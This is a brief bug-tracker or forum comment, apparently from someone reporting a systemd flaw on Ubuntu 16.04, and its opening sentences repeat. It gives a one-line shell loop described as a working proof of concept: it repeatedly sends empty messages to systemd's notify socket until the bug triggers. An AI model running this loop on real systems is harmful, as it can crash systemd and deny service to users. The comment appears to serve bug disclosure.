I've put a comment on the github bug with an updated PoC. IT does work on 16.04, but you seem to have to do it over and over until it triggers. A working PoC

I've put a comment on the github bug with an updated PoC. IT does work on 16.04, but you seem to have to do it over and over until it triggers. A working PoC seems to be: while true; do NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""; done